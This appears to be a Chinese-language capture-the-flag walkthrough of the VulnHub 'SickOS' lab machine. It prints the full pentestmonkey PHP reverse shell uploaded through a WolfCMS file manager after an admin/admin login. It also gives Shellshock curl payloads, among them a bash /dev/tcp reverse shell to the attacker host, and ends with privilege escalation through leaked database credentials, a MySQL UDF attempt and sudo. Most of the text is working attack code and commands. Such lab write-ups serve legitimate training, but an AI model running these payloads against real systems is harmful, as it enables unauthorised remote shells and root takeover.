vulnhub（16）：sickos（两种打点方式）

端口

ip：192.168.72.154
nmap -Pn -p- 192.168.72.154 --min-rate 10000

PORT STATE  SERVICE
22   open   ssh   
3128 open   http-proxy 
8080 closed http-proxy

web渗透方式一：web后台

正常访问80端口，是不开放的，我们需要配置目标机器的代理服务再访问80端口
​
浏览器配置代理：192.168.72.154，端口：3128
​
正常访问到了80端口web界面，主页源代码页面只有个字符串：BLEHHH!!! 
​
我们访问robots.txt看有没有隐藏的目录：192.168.72.154/robots.txt
​
发现隐藏目录：Dissalow: /wolfcms

发现wolfcms博客系统

翻了一下博客内容，没什么敏感信息
​
找网站后台，且后台存在弱口令
username：admin
password：admin
​
登录

后台文件上传漏洞

http://192.168.72.154/wolfcms/?/admin/plugin/file_manager
可以上传php文件到public文件夹中
​
找一个php webshell，上传给他777权限

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
​
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.72.162';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
​
//
// Daemonise ourself if possible to avoid zombies later
//
​
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }
​
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
​
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
​
// Change to a safe directory
chdir("/");
​
// Remove any umask we inherited
umask(0);
​
//
// Do the reverse shell...
//
​
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
​
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
​
$process = proc_open($shell, $descriptorspec, $pipes);
​
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
​
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
​
printit("Successfully opened reverse shell to $ip:$port");
​
while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
​
    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
​
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
​
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
​
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
​
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
​
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
​
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}
​
?> 

监听并回弹shell

攻击机器：nc -nvlp 1234
​
访问shell.php：http://192.168.72.154/wolfcms/public/shell.php

web渗透方式一：shellshock

gobuster扫描目录
gobuster dir -u http://192.168.72.154/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash --proxy http://192.168.72.154:3128/ 
​
/index/               (Status: 200) [Size: 21]
/index.php/           (Status: 200) [Size: 21]
/.html/               (Status: 403) [Size: 288]
/cgi-bin/             (Status: 403) [Size: 290]
/icons/               (Status: 403) [Size: 288]
/doc/                 (Status: 403) [Size: 286]
/cgi/                 (Status: 200) [Size: 901]
/raptor/              (Status: 200) [Size: 921]
​
访问/cgi/，发现此目录下有exp.cgi，浏览器访问下，看到没有使用bash进行解析，而是直接当成文本返回了

当然利用一下shellshock返回结果也只是其文本：
​
curl -H "User-agent: () { :;}; echo; /bin/ls -l" http://192.168.72.154/cgi/exp.cgi --proxy http://192.168.72.154:3128/
#!/bin/bash
​
echo "Content-type: text/plain"
echo 
echo
echo "** Environment Variables ***"
strings /proc/$$/environ

我们gobuster扫一下/cgi-bin下有没有可以访问的bash环境
gobuster dir -u http://192.168.72.154/cgi-bin/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash --proxy http://192.168.72.154:3128/
​
/status/              (Status: 200) [Size: 199]
​
发现有status，浏览器访问下：http://192.168.72.154/cgi-bin/status

shellshock利用一下：
​
curl -H "User-agent: () { :;}; echo; /bin/ls -l" http://192.168.72.154/cgi-bin/status --proxy http://192.168.72.154:3128/                                                                     
total 4
-rwxrwxrwx 1 root root 120 Oct  2  2014 status
​
发现shellshock成功

# msf生成反弹shell
msfvenom -p cmd/unix/reverse_bash lhost=192.168.72.162 lport=1234
​
bash -c '0<&67-;exec 67<>/dev/tcp/192.168.72.162/1234;sh <&67 >&67 2>&67'
​
# 构造shellshock
curl -H "User-agent: () { :;}; echo; 0<&67-;exec 67<>/dev/tcp/192.168.72.162/1234;/bin/sh <&67 >&67 2>&67" http://192.168.72.154/cgi-bin/status --proxy http://192.168.72.154:3128/

提权

web目录翻一翻，看看有没有数据库配置文件
​
find ./ -name *conf* 2>/dev/null
结果：./wolfcms/config.php
​
看下./wolfcms/config.php文件
​
发现数据库用户密码：
define('DB_USER', 'root');
define('DB_PASS', 'john@123');

尝试udf提权

SHOW VARIABLES LIKE 'secure_file_priv';
​
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
​
可以看到没有设置安全路径，但udf提权还是失败了，因为将文件内容写入不了数据库，即使我们将需要写入的文件改为777权限，如下，raptor_udf2.so是恶意提权函数库
​
-rwxrwxrwx 1 www-data www-data 8421 Oct 26 11:55 raptor_udf2.so
​
select load_file('/var/www/raptor/raptor_udf2.so');
+---------------------------------------------+
| load_file('/var/www/raptor/raptor_udf2.so') |
+---------------------------------------------+
| NULL                                        |
+---------------------------------------------+

利用john@123密码

使用此密码登录sickos，成功
​
sickos能直接使用sudo切换到root